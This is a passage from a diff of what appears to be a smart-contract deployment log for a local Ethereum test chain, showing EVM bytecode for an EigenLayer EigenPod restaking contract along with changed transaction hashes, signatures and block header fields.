f72206d757374206265206960648201527f6e61637469766520746f2070726f7665207769746864726177616c2063726564608482015266656e7469616c7360c81b60a482015260c4016106a4565b61245561287c565b61245e90615839565b61249a86868080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061343c92505050565b146125215760405162461bcd60e51b815260206004820152604b60248201527f456967656e506f642e766572696679436f72726563745769746864726177616c60448201527f43726564656e7469616c733a2050726f6f66206973206e6f7420666f7220746860648201526a1a5cc8115a59d95b941bd960aa1b608482015260a4016106a4565b600061255f86868080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061345192505050565b905061256f8a87878b8b8e613476565b6039805490600061257f8361585d565b90915550506001606083015264ffffffffff891682526001600160401b038b811660408401527f000000000000000000000000000000000000000000000000000000000000000081169082161115612605576001600160401b037f0000000000000000000000000000000000000000000000000000000000000000166020830152612615565b6001600160401b03811660208301525b6000838152603660209081526040918290208451815492860151938601516001600160401b03908116600160801b0267ffffffffffffffff60801b19958216600160401b026001600160801b0319909516919092161792909217928316821781556060850151859391929091839160ff60c01b191668ffffffffffffffffff60801b1990911617600160c01b8360028111156126b3576126b3614e91565b02179055505060405164ffffffffff8b1681527f2d0800bbc377ea54a08c5db6a87aafff5e3e9c8fead0eda110e40e0c10441449915060200160405180910390a17f0e5fac175b83177cc047381e030d8fb3b42b37bd1c025e22c280facad62c32df898c846020015160405161274e9392919064ffffffffff9390931683526001600160401b03918216602084015216604082015260600190565b60405180910390a1633b9aca0082602001516001600160401b031661277391906157a0565b9b9a5050505050505050505050565b6000815160301461280b5760405162461bcd60e51b815260206004820152604760248201527f456967656e506f642e5f63616c63756c61746556616c696461746f725075626b60448201527f657948617368206d75737420626520612034382d6279746520424c53207075626064820152666c6963206b657960c81b608482015260a4016106a4565b604051600290612822908490600090602001615876565b60408051601f198184030181529082905261283c916158a5565b602060405180830381855afa158015612859573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610d0491906154b8565b60408051600160f81b60208201526000602182015230606090811b6bffffffffffffffffffffffff1916602c8301529101604051602081830303815290604052905090565b60008061290084848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061345192505050565b9050600061294085858080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061341892505050565b6000818152603660209081526040808320815160808101835281546001600160401b038082168352600160401b8204811695830195909552600160801b8104909416928101929092529394509192906060830190600160c01b900460ff1660028111156129af576129af614e91565b60028111156129c0576129c0614e91565b8152505090508a6001600160401b031681604001516001600160401b031610612a775760405162461bcd60e51b815260206004820152605c60248201527f456967656e506f642e76657269667942616c616e63655570646174653a20566160448201527f6c696461746f72732062616c616e63652068617320616c72656164792062656560648201527f6e207570646174656420666f7220746869732074696d657374616d7000000000608482015260a4016106a4565b600181606001516002811115612a8f57612a8f614e91565b14612af75760405162461bcd60e51b815260206004820152603260248201527f456967656e506f642e76657269667942616c616e63655570646174653a2056616044820152716c696461746f72206e6f742061637469766560701b60648201526084016106a4565b612b008b612003565b6001600160401b0316612b458787808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506136cd92505050565b6001600160401b031611612be8576000836001600160401b031611612be85760405162461bcd60e51b815260206004820152604d60248201527f456967656e506f642e76657269667942616c616e63655570646174653a20766160448201527f6c696461746f7220697320776974686472617761626c6520627574206861732060648201526c3737ba103bb4ba34323930bbb760991b608482015260a4016106a4565b612bf68987878b8b8f613476565b602081015160006001600160401b037f000000000000000000000000000000000000000000000000000000000000000081169086161115612c5857507f0000000000000000000000000000000000000000000000000000000000000000612c5b565b50835b6001600160401b0380821660208086019182528f831660408088019182526000898152603690935290912086518154935192518516600160801b0267ffffffffffffffff60801b19938616600160401b026001600160801b031990951691909516179290921790811683178255606086015186939091839160ff60c01b191668ffffffffffffffffff60801b1990911617600160c01b836002811115612d0357612d03614e91565b0217905550905050816001600160401b0316816001600160401b031614612d8f577f0e5fac175b83177cc047381e030d8fb3b42b37bd1c025e22c280facad62c32df8c8e83604051612d7a9392919064ffffffffff9390931683526001600160401b03918216602084015216604082015260600190565b60405180910390a1612d8c81836136e5565b95505b5050505050979650505050505050565b61185f8282613704565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261168690849061381d565b6040805180820190915260008082526020820152612e20612e1b89615926565b6138ef565b6033546001600160401b03600160a01b90910481169082161015612ee25760405162461bcd60e51b815260206004820152606760248201527f456967656e506f642e70726f6f664973466f7256616c696454696d657374616d60448201527f703a20626561636f6e20636861696e2070726f6f66206d75737420626520617460648201527f206f72206166746572206d6f7374526563656e745769746864726177616c546960848201526606d657374616d760cc1b60a482015260c4016106a4565b6000612ef0612e1b8b615926565b90506000612f3088888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061341892505050565b905060008082815260366020526040902054600160c01b900460ff166002811115612f5d57612f5d614e91565b036130135760405162461bcd60e51b815260206004820152607460248201527f456967656e506f642e5f766572696679416e6450726f6365737357697468647260448201527f6177616c3a2056616c696461746f72206e657665722070726f76656e20746f2060648201527f68617665207769746864726177616c2063726564656e7469616c7320706f696e6084820152731d1959081d1bc81d1a1a5cc818dbdb9d1c9858dd60621b60a482015260c4016106a4565b60008181526035602090815260408083206001600160401b038616845290915290205460ff16156130d25760405162461bcd60e51b815260206004820152605b60248201527f456967656e506f642e5f766572696679416e6450726f6365737357697468647260448201527f6177616c3a207769746864726177616c2068617320616c72656164792062656560648201527f6e2070726f76656e20666f7220746869732074696d657374616d700000000000608482015260a4016106a4565b6001603560008381526020019081526020016000206000846001600160401b03166001600160401b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506131af8c87878e7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166344e71c806040518163ffffffff1660e01b8152600401602060405180830381865afa158015613186573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131aa9190615a78565b6138ff565b60006131ed87878080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061432092505050565b90506131fd8d8a8a8e8e86613476565b600061323b88888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061433892505050565b90506132798a8a808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506136cd92505050565b6001600160401b031661329361328e8f615926565b614350565b6001600160401b03161061334b57603354600084815260366020908152604091829020825160808101845281546001600160401b038082168352600160401b8204811694830194909452600160801b81049093169381019390935261334093869388938a936001600160a01b03909316928892916060830190600160c01b900460ff16600281111561332757613327614e91565b600281111561333857613338614e91565b905250614362565b955050505050613365565b60335461334090839086906001600160a01b0316846145a0565b5098975050505050505050565b603354604051633036cd5360e21b81526001600160a01b03918216600482015283821660248201527f00000000000000000000000000000000000000000000000000000000000000009091169063c0db354c9083906044016000604051808303818588803b1580156133e357600080fd5b505af11580156133f7573d6000803e3d6000fd5b50505050505050565b60008361340e86858561467e565b1495945050505050565b60008160008151811061342d5761342d615517565b60200260200101519050919050565b60008160018151811061342d5761342d615517565b6000610d048260028151811061346957613469615517565b60200260200101516147cd565b61348260036002615b7c565b841461350d5760405162461bcd60e51b815260206004820152604e60248201527f426561636f6e436861696e50726f6f66732e76657269667956616c696461746f60448201527f724669656c64733a2056616c696461746f72206669656c64732068617320696e60648201526d0c6dee4e4cac6e840d8cadccee8d60931b608482015260a4016106a4565b600561351b60286001614c64565b6135259190614c64565b6135309060206157a0565b82146135b05760405162461bcd60e51b815260206004820152604360248201527f426561636f6e436861696e50726f6f66732e76657269667956616c696461746f60448201527f724669656c64733a2050726f6f662068617320696e636f7272656374206c656e6064820152620cee8d60eb1b608482015260a4016106a4565b600064ffffffffff82166135c660286001614c64565b600b901b179050600061360b87878080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061483492505050565b905061365185858080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508c9250859150869050613400565b6136c35760405162461bcd60e51b815260206004820152603d60248201527f426561636f6e436861696e50726f6f66732e76657269667956616c696461746f60448201527f724669656c64733a20496e76616c6964206d65726b6c652070726f6f6600000060648201526084016106a4565b5050505050505050565b6000610d048260078151811061346957613469615517565b60006136fd6001600160401b03808416908516615b88565b9392505050565b804710156137545760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016106a4565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146137a1576040519150601f19603f3d011682016040523d82523d6000602084013e6137a6565b606091505b50509050806116865760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016106a4565b6000613872826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316614acd9092919063ffffffff16565b805190915015611686578080602001905181019061389091906153a2565b6116865760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016106a4565b6000610d048261014001516147cd565b61390a600280615b7c565b831461397e5760405162461bcd60e51b81526020600482015260496024820152600080516020615bf083398151915260448201527f616c3a207769746864726177616c4669656c64732068617320696e636f7272656064820152680c6e840d8cadccee8d60bb1b608482015260a4016106a4565b61398a600d6002615b7c565b61399a60c0840160a08501615ba8565b6001600160401b031610613a045760405162461bcd60e51b815260206004820152603f6024820152600080516020615bf083398151915260448201527f616c3a20626c6f636b526f6f74496e64657820697320746f6f206c617267650060648201526084016106a4565b613a1060046002615b7c565b613a21610100840160e08501615ba8565b6001600160401b031610613a8d576040805162461bcd60e51b8152602060048201526024810191909152600080516020615bf083398151915260448201527f616c3a207769746864726177616c496e64657820697320746f6f206c6172676560648201526084016106a4565b613a9960186002615b7c565b613aa960e0840160c08501615ba8565b6001600160401b031610613b235760405162461bcd60e51b81526020600482015260476024820152600080516020615bf083398151915260448201527f616c3a20686973746f726963616c53756d6d617279496e64657820697320746f6064820152666f206c6172676560c81b608482015260a4016106a4565b60006001600160401b038216613b3b612e1b85615926565b6001600160401b031610613b50576005613b53565b60045b9050613b60600482614c64565b613b6b906001614c64565b613b769060206157a0565b613b8084806154d1565b905014613bf45760405162461bcd60e51b81526020600482015260486024820152600080516020615bf083398151915260448201527f616c3a207769746864726177616c50726f6f662068617320696e636f727265636064820152670e840d8cadccee8d60c31b608482015260a4016106a4565b613c0060046003614c64565b613c0b9060206157a0565b613c1860408501856154d1565b905014613c925760405162461bcd60e51b815260206004820152604e6024820152600080516020615bf083398151915260448201527f616c3a20657865637574696f6e5061796c6f616450726f6f662068617320696e60648201526d0c6dee4e4cac6e840d8cadccee8d60931b608482015260a4016106a4565b613c9e600360206157a0565b613cab60208501856154d1565b905014613d195760405162461bcd60e51b81526020600482015260426024820152600080516020615bf083398151915260448201527f616c3a20736c6f7450726f6f662068617320696e636f7272656374206c656e676064820152610e8d60f31b608482015260a4016106a4565b613d248160206157a0565b613d3160608501856154d1565b905014613da45760405162461bcd60e51b81526020600482015260476024820152600080516020615bf083398151915260448201527f616c3a2074696d657374616d7050726f6f662068617320696e636f7272656374606482015266040d8cadccee8d60cb1b608482015260a4016106a4565b600d613db260186001614c64565b613dbd906005614c64565b613dc8906001614c64565b613dd29190614c64565b613ddd9060206157a0565b613dea60808501856154d1565b905014613e735760405162461bcd60e51b81526020600482015260586024820152600080516020615bf083398151915260448201527f616c3a20686973746f726963616c53756d6d617279426c6f636b526f6f74507260648201527f6f6f662068617320696e636f7272656374206c656e6774680000000000000000608482015260a4016106a4565b6000613e8560c0850160a08601615ba8565b6001600160401b03166000613e9c600d6001614c64565b613eac60e0880160c08901615ba8565b6001600160401b0316901b600d613ec560186001614c64565b613ed0906001614c64565b613eda9190614c64565b601b901b1717179050613f35613ef360808601866154d1565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508b9250505061010087013584613400565b613fa85760405162461bcd60e51b815260206004820152604a6024820152600080516020615bf083398151915260448201527f616c3a20496e76616c696420686973746f726963616c73756d6d617279206d656064820152693935b63290383937b7b360b11b608482015260a4016106a4565b613fff613fb860208601866154d1565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052506101008a013593506101208a013592509050613400565b61405f5760405162461bcd60e51b815260206004820152603d6024820152600080516020615bf083398151915260448201527f616c3a20496e76616c696420736c6f74206d65726b6c652070726f6f6600000060648201526084016106a4565b60496140b761407160408701876154d1565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525050505061010087013561016088013584613400565b6141295760405162461bcd60e51b81526020600482015260496024820152600080516020615bf083398151915260448201527f616c3a20496e76616c696420657865637574696f6e5061796c6f6164206d657260648201526835b63290383937b7b360b91b608482015260a4016106a4565b5061418161413a60608601866154d1565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050506101608601356101408701356009613400565b6141ec5760405162461bcd60e51b81526020600482015260426024820152600080516020615bf083398151915260448201527f616c3a20496e76616c69642074696d657374616d70206d65726b6c652070726f60648201526137b360f11b608482015260a4016106a4565b60006141ff610100860160e08701615ba8565b6001600160401b031661421460046001614c64565b600e901b179050600061425988888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061483492505050565b90506142a961426887806154d1565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050506101608801358385613400565b6143155760405162461bcd60e51b81526020600482015260436024820152600080516020615bf083398151915260448201527f616c3a20496e76616c6964207769746864726177616c206d65726b6c6520707260648201526237b7b360e91b608482015260a4016106a4565b505050505050505050565b6000610d048260018151811061346957613469615517565b6000610d048260038151811061346957613469615517565b600060206120e38361012001516147cd565b604080518082019091526000808252602082015260007f00000000000000000000000000000000000000000000000000000000000000006001600160401b0316846001600160401b031611156143d957507f00000000000000000000000000000000000000000000000000000000000000006143dc565b50825b60408051808201909152600080825260208201526143fa8286615760565b6001600160401b03908116825260348054849260009161441c9185911661581a565b92506101000a8154816001600160401b0302191690836001600160401b0316021790555061444e8285602001516136e5565b602082015260028460600151600281111561446b5761446b614e91565b1461448d576039805490600061448083615bc5565b9091555050600260608501525b600060208086018281528a83526036909152604091829020865181549251938801516001600160401b03908116600160801b0267ffffffffffffffff60801b19958216600160401b026001600160801b0319909516929091169190911792909217928316821781556060870151879391929091839160ff60c01b191668ffffffffffffffffff60801b1990911617600160c01b83600281111561453257614532614e91565b0217905550506040805164ffffffffff8c1681526001600160401b038a8116602083015288168183015290516001600160a01b03891692507fb76a93bb649ece524688f1a01d184e0bbebcda58eae80c28a898bec3fb5a09639181900360600190a298975050505050505050565b60408051808201909152600080825260208201526040805164ffffffffff871681526001600160401b0380871660208301528416918101919091526001600160a01b038416907f8a7335714231dbd551aaba6314f4a97a14c201e53a3e25e1140325cdf67d7a4e9060600160405180910390a2603880548391906000906146319084906001600160401b031661581a565b92506101000a8154816001600160401b0302191690836001600160401b031602179055506040518060400160405280836001600160401b0316815260200160008152509050949350505050565b6000835160001415801561469d57506020845161469b9190615738565b155b61472c5760405162461bcd60e51b815260206004820152605460248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f665368613260448201527f35363a2070726f6f66206c656e6774682073686f756c642062652061206e6f6e60648201527316bd32b9379036bab63a34b836329037b310199960611b608482015260a4016106a4565b604080516020808201909252848152905b855181116147c357614750600285615738565b600003614786578151600052808601516020526020826040600060026107d05a03fa61477b57600080fd5b6002840493506147b1565b8086015160005281516020526020826040600060026107d05a03fa6147aa57600080fd5b6002840493505b6147bc602082614c64565b905061473d565b5051949350505050565b60f881901c60e882901c61ff00161760d882901c62ff0000161760c882901c63ff000000161764ff0000000060b883901c161765ff000000000060a883901c161766ff000000000000609883901c161767ff0000000000000060889290921c919091161790565b60008060028351614845919061574c565b90506000816001600160401b03811115614861576148616150b9565b60405190808252806020026020018201604052801561488a578160200160208202803683370190505b50905060005b82811015614987576002856148a583836157a0565b815181106148b5576148b5615517565b6020026020010151868360026148cb91906157a0565b6148d6906001614c64565b815181106148e6576148e6615517565b6020026020010151604051602001614908929190918252602082015260400190565b60408051601f1981840301815290829052614922916158a5565b602060405180830381855afa15801561493f573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061496291906154b8565b82828151811061497457614974615517565b6020908102919091010152600101614890565b5061499360028361574c565b91505b8115614aa95760005b82811015614a96576002826149b483836157a0565b815181106149c4576149c4615517565b6020026020010151838360026149da91906157a0565b6149e5906001614c64565b815181106149f5576149f5615517565b6020026020010151604051602001614a17929190918252602082015260400190565b60408051601f1981840301815290829052614a31916158a5565b602060405180830381855afa158015614a4e573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190614a7191906154b8565b828281518110614a8357614a83615517565b602090810291909101015260010161499f565b50614aa260028361574c565b9150614996565b80600081518110614abc57614abc615517565b602002602001015192505050919050565b6060614adc8484600085614ae4565b949350505050565b606082471015614b455760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b60648201526084016106a4565b6001600160a01b0385163b614b9c5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016106a4565b600080866001600160a01b03168587604051614bb891906158a5565b60006040518083038185875af1925050503d8060008114614bf5576040519150601f19603f3d011682016040523d82523d6000602084013e614bfa565b606091505b5091509150614c0a828286614c15565b979650505050505050565b60608315614c245750816136fd565b825115614c345782518084602001fd5b8160405162461bcd60e51b81526004016106a49190615bdc565b634e487b7160e01b600052601160045260246000fd5b80820180821115610d0457610d04614c4e565b6001600160401b038116811461200057600080fd5b8035614c9781614c77565b919050565b60008060408385031215614caf57600080fd5b823591506020830135614cc181614c77565b809150509250929050565b600060408284031215614cde57600080fd5b50919050565b60008083601f840112614cf657600080fd5b5081356001600160401b03811115614d0d57600080fd5b6020830191508360208260051b8501011115614d2857600080fd5b9250929050565b60008060008060008060008060a0898b031215614d4b57600080fd5b8835614d5681614c77565b975060208901356001600160401b03811115614d7157600080fd5b614d7d8b828c01614ccc565b97505060408901356001600160401b03811115614d9957600080fd5b614da58b828c01614ce4565b90975095505060608901356001600160401b03811115614dc457600080fd5b614dd08b828c01614ce4565b90955093505060808901356001600160401b03811115614def57600080fd5b614dfb8b828c01614ce4565b999c989b5096995094979396929594505050565b60008083601f840112614e2157600080fd5b5081356001600160401b03811115614e3857600080fd5b602083019150836020828501011115614d2857600080fd5b60008060208385031215614e6357600080fd5b82356001600160401b03811115614e7957600080fd5b614e8585828601614e0f565b90969095509350505050565b634e487b7160e01b600052602160045260246000fd5b60038110614ec557634e487b7160e01b600052602160045260246000fd5b9052565b60208101610d048284614ea7565b600060208284031215614ee957600080fd5b5035919050565b60006080820190506001600160401b0383511682526001600160401b0360208401511660208301526001600160401b0360408401511660408301526060830151614f3d6060840182614ea7565b5092915050565b600080600080600060608688031215614f5c57600080fd5b85356001600160401b03811115614f7257600080fd5b614f7e88828901614e0f565b90965094505060208601356001600160401b03811115614f9d57600080fd5b614fa988828901614e0f565b96999598509660400135949350505050565b60008060008060008060008060a0898b031215614fd757600080fd5b8835614fe281614c77565b975060208901356001600160401b03811115614ffd57600080fd5b6150098b828c01614ce4565b90985096505060408901356001600160401b0381111561502857600080fd5b6150348b828c01614ccc565b95505060608901356001600160401b03811115614dc457600080fd5b6001600160a01b038116811461200057600080fd5b8035614c9781615050565b6000806040838503121561508357600080fd5b823561508e81615050565b946020939093013593505050565b6000602082840312156150ae57600080fd5b81356136fd81615050565b634e487b7160e01b600052604160045260246000fd5b60405161018081016001600160401b03811182821017156150f2576150f26150b9565b60405290565b604051601f8201601f191681016001600160401b0381118282101715615120576151206150b9565b604052919050565b60006001600160401b03821115615141576151416150b9565b5060051b60200190565b600082601f83011261515c57600080fd5b813561516f61516a82615128565b6150f8565b8082825260208201915060208360051b86010192508583111561519157600080fd5b602085015b838110156151ae578035835260209283019201615196565b5095945050505050565b6000806000606084860312156151cd57600080fd5b83356001600160401b038111156151e357600080fd5b8401601f810186136151f457600080fd5b803561520261516a82615128565b8082825260208201915060208360051b85010192508883111561522457600080fd5b6020840193505b8284101561524f57833561523e81615050565b82526020938401939091019061522b565b955050505060208401356001600160401b0381111561526d57600080fd5b6152798682870161514b565b92505061528860408501615065565b90509250925092565b60008060008060008060008060008060c08b8d0312156152b057600080fd5b6152b98b614c8c565b995060208b01356001600160401b038111156152d457600080fd5b6152e08d828e01614ccc565b99505060408b01356001600160401b038111156152fc57600080fd5b6153088d828e01614ce4565b90995097505060608b01356001600160401b0381111561532757600080fd5b6153338d828e01614ce4565b90975095505060808b01356001600160401b0381111561535257600080fd5b61535e8d828e01614ce4565b90955093505060a08b01356001600160401b0381111561537d57600080fd5b6153898d828e01614ce4565b915080935050809150509295989b9194979a5092959850565b6000602082840312156153b457600080fd5b815180151581146136fd57600080fd5b6020808252603e908201527f456967656e506f642e6f6e6c795768656e4e6f745061757365643a20696e646560408201527f782069732070617573656420696e20456967656e506f644d616e616765720000606082015260800190565b60208082526028908201527f456967656e506f642e6f6e6c79456967656e506f644f776e65723a206e6f74206040820152673837b227bbb732b960c11b606082015260800190565b6020808252602f908201527f456967656e506f642e6861734e6576657252657374616b65643a20726573746160408201526e1ada5b99c81a5cc8195b98589b1959608a1b606082015260800190565b6000602082840312156154ca57600080fd5b5051919050565b6000808335601e198436030181126154e857600080fd5b8301803591506001600160401b0382111561550257600080fd5b602001915036819003821315614d2857600080fd5b634e487b7160e01b600052603260045260246000fd5b60006020828403121561553f57600080fd5b813564ffffffffff811681146136fd57600080fd5b6000808335601e1984360301811261556b57600080fd5b8301803591506001600160401b0382111561558557600080fd5b6020019150600581901b3603821315614d2857600080fd5b60208082526031908201527f456967656e506f642e6f6e6c79456967656e506f644d616e616765723a206e6f6040820152703a1032b4b3b2b72837b226b0b730b3b2b960791b606082015260800190565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b60005b8381101561563257818101518382015260200161561a565b50506000910152565b60008151808452615653816020860160208601615617565b601f01601f19169290920160200192915050565b60808152600061567b60808301888a6155ee565b828103602084015261568d818861563b565b905082810360408401526156a28186886155ee565b915050826060830152979650505050505050565b602081526000614adc6020830184866155ee565b80820182811260008312801582168215821617156156ea576156ea614c4e565b505092915050565b80820260008212600160ff1b8414161561570e5761570e614c4e565b8181058314821517610d0457610d04614c4e565b634e487b7160e01b600052601260045260246000fd5b60008261574757615747615722565b500690565b60008261575b5761575b615722565b500490565b6001600160401b038281168282160390811115610d0457610d04614c4e565b6000823561017e1983360301811261579657600080fd5b9190910192915050565b8082028115828204841417610d0457610d04614c4e565b81810381811115610d0457610d04614c4e565b6001600160401b038181168382160290811690818114614f3d57614f3d614c4e565b60006001600160401b0383168061580557615805615722565b806001600160401b0384160491505092915050565b6001600160401b038181168382160190811115610d0457610d04614c4e565b80516020808301519190811015614cde5760001960209190910360031b1b16919050565b60006001820161586f5761586f614c4e565b5060010190565b60008351615888818460208801615617565b6001600160801b0319939093169190920190815260100192915050565b60008251615796818460208701615617565b600082601f8301126158c857600080fd5b81356001600160401b038111156158e1576158e16150b9565b6158f4601f8201601f19166020016150f8565b81815284602083860101111561590957600080fd5b816020850160208301376000918101602001919091529392505050565b6000610180823603121561593957600080fd5b6159416150cf565b82356001600160401b0381111561595757600080fd5b615963368286016158b7565b82525060208301356001600160401b0381111561597f57600080fd5b61598b368286016158b7565b60208301525060408301356001600160401b038111156159aa57600080fd5b6159b6368286016158b7565b60408301525060608301356001600160401b038111156159d557600080fd5b6159e1368286016158b7565b60608301525060808301356001600160401b03811115615a0057600080fd5b615a0c368286016158b7565b608083015250615a1e60a08401614c8c565b60a0820152615a2f60c08401614c8c565b60c0820152615a4060e08401614c8c565b60e082015261010083810135908201526101208084013590820152610140808401359082015261016092830135928101929092525090565b600060208284031215615a8a57600080fd5b81516136fd81614c77565b6001815b6001841115615ad057808504811115615ab457615ab4614c4e565b6001841615615ac257908102905b60019390931c928002615a99565b935093915050565b600082615ae757506001610d04565b81615af457506000610d04565b8160018114615b0a5760028114615b1457615b30565b6001915050610d04565b60ff841115615b2557615b25614c4e565b50506001821b610d04565b5060208310610133831016604e8410600b8410161715615b53575081810a610d04565b615b606000198484615a95565b8060001904821115615b7457615b74614c4e565b029392505050565b60006136fd8383615ad8565b8181036000831280158383131683831282161715614f3d57614f3d614c4e565b600060208284031215615bba57600080fd5b81356136fd81614c77565b600081615bd457615bd4614c4e565b506000190190565b6020815260006136fd602083018461563b56fe426561636f6e436861696e50726f6f66732e7665726966795769746864726177a26469706673582212201a01de1d59be7fe16e003e55aa445e180a6e7594b61dacfe81b7a8e81476cdc664736f6c634300081b003300000000000000000000000042424242424242424242424242424242424242420000000000000000000000008a791620dd6260079bf849dc5567adc3f2fdc3180000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe60000000000000000000000000000000000000000000000000000000773594000000000000000000000000000000000000000000000000000000000006059f460", + "r": "0x9e4218306951dded4fe37d88264be939c628d6cddce8ad1056658df34732e751", + "s": "0x54d13095bb9f4dad844ac83833d4690f0e62cb5547d131c4e2e49618dd3a1ac5", "yParity": "0x1", - "hash": "0xa361a3efc5988988fae8b8032691e7dafbdcf1d0731fbb34765174e0d70efa09" + "hash": "0x798574a8cdfe6597af6db879423f72684596ecbe6d87b626ac6f0b9a51fa4ab2" } }, "impersonated_sender": null @@ -962,22 +955,22 @@ }, { "header": { - "parentHash": "0x7e8357398693b88e866f5cd0353b4f66ebcbfc705af16126e2033d1545b14d6f", + "parentHash": "0x2783c15f23dac4e544deb568f901b0277f84541b93554d923a8a117123272b40", "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", "beneficiary": "0x0000000000000000000000000000000000000000", - "stateRoot": "0x4d982af6d97efbab90fe46e011118cebfebdb01056c452295805a437de26f085", - "transactionsRoot": "0x2d3b9812c929db95e245d5f1b5c73a2e431a650cbd8ea9de2cad26de443a314e", - "receiptsRoot": "0x1416dce9df83c4d533b3a0dedd54d9ea2894aef91e483136d9b9010e1dfb71a6", + "stateRoot": "0xd7d911abb172c9d6e76857eeed355b11cda7247d7de1ed14f4ec058641e2384c", + "transactionsRoot": "0x0ca7e846ae75e216dd2feae471f62ba554c110b018736a9096403f3c8054c876", + "receiptsRoot": "0x8ae6d176727a58accf48a353170845e53f0cbbf104844b366a4b18f57ded1c08", "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "logsBloom": "0x00000000100000000000000000000000000000000040000000800000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000000000000000020000000000000000020000000000000100000800000000000000000040000000000000400000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000200000000000040000000000002000000000000000000020000000000000000000000000000000000000000000000000000000000000000000", + "logsBloom": "0x00000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000004801000000000000000", "difficulty": "0x0", - "number": "0x7", + "number": "0x2", "gasLimit": "0x1c9c380", - "gasUsed": "0x537880", - "timestamp": "0x67212bff", + "gasUsed": "0x529a6", + "timestamp": "0x672a8e17", "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "nonce": "0x0000000000000000", - "baseFeePerGas": "0x1c03636d", + "baseFeePerGas": "0x345fce36", "blobGasUsed": "0x0", "excessBlobGas": "0x0", "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", @@ -988,36 +981,17 @@ "transaction": { "EIP1559": { "chainId": "0x7a69", - "nonce": "0xa", - "gas": "0x66c1f5", - "maxFeePerGas": "0x77359401", - "maxPriorityFeePerGas": "0x1", - "value": "0x0", - "accessList": [], - "input": "0x61012060405234801561001157600080fd5b50604051615f0f380380615f0f83398101604081905261003091610163565b6001600160a01b0380861660805284811660a052831660c0526001600160401b0380831660e05281166101005261006561006f565b50505050506101d0565b600054610100900460ff16156100db5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561012d576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461014457600080fd5b50565b80516001600160401b038116811461015e57600080fd5b919050565b600080600080600060a0868803121561017b57600080fd5b85516101868161012f565b60208701519095506101978161012f565b60408701519094506101a88161012f565b92506101b660608701610147565b91506101c460808701610147565b90509295509295909350565b60805160a05160c05160e05161010051615c456102ca600039600081816105b501528181612007015281816120be0152612116015260008181610275015281816125a7015281816125db01528181612c0701528181612c340152818161437a01526143b501526000818161036d01528181610614015281816107a701528181610aef01528181610c3a01528181610dc201528181610f7d0152818161115e0152818161128801528181611459015281816118a601528181611a4401528181611b8301528181611d4501528181611e2f015261312a015260008181610241015261339c0152600081816104520152610e8d0152615c456000f3fe6080604052600436106101855760003560e01c806374cdd798116100d1578063c49074421161008a578063e251ef5211610064578063e251ef5214610563578063e2c8344514610583578063f2882461146105a3578063fe80b087146105d757600080fd5b8063c490744214610503578063c4d66de814610523578063dda3346c1461054357600080fd5b806374cdd7981461044057806387e0d289146104745780639b4e46341461049b578063a50600f4146104ae578063b522538a146104ce578063baa7145a146104ee57600080fd5b806334bea20a1161013e57806358eaee791161011857806358eaee791461038f5780635d3f65b6146103bc5780636fcd0e53146103dc5780637439841f1461040957600080fd5b806334bea20a146103005780633f65cf191461033b5780634665bcda1461035b57600080fd5b80630b18ff66146101db5780630cd4649e146102185780631a5057be1461022f5780631d905d5c146102635780633